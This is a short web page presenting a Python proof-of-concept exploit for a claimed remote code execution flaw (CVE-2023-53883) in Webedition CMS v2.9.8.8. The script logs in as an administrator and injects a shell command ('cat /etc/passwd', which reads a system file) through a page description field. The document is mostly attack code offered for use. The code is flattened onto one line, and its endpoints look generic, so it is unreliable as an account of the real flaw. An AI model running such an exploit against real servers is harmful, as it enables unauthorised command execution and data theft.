Webedition CMS v2.9.8.8 PHP页面创建远程代码执行漏洞(CVE-2023-53883)

# CVE-2023-53883 PoC - Webedition CMS RCE via PHP Page Creation # Author: VulnCheck # Target: Webedition CMS v2.9.8.8 import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target-website.com/webedition/" USERNAME = "admin" PASSWORD = "admin_password" def login(session, username, password): """Authenticate to Webedition CMS""" login_url = TARGET_URL + "we_login.php" login_data = { "username": username, "password": password } response = session.post(login_url, data=login_data) return "Login successful" in response.text or response.status_code == 200 def create_php_page_with_payload(session, payload): """Create PHP page with malicious command in description field""" page_url = TARGET_URL + "we_page_edit.php" # Payload injection in description field page_data = { "page_title": "Malicious Page", "page_type": "php", "page_description": f"Normal description; {payload};", "page_content": "<?php echo 'Test'; ?>", "save": "1" } response = session.post(page_url, data=page_data) return response.status_code == 200 def main(): session = requests.Session() # Step 1: Login with high-privilege account if not login(session, USERNAME, PASSWORD): print("[-] Login failed") sys.exit(1) print("[+] Login successful") # Step 2: Create PHP page with RCE payload # Example: Execute system command to read /etc/passwd payload = "cat /etc/passwd" if create_php_page_with_payload(session, payload): print("[+] Malicious PHP page created successfully") print(f"[*] Payload injected: {payload}") print("[*] Check server for command execution") else: print("[-] Failed to create malicious page") if __name__ == "__main__": main() # Note: This PoC demonstrates the vulnerability concept. # Actual exploitation requires valid high-privilege credentials. # Use responsibly and only on authorized systems.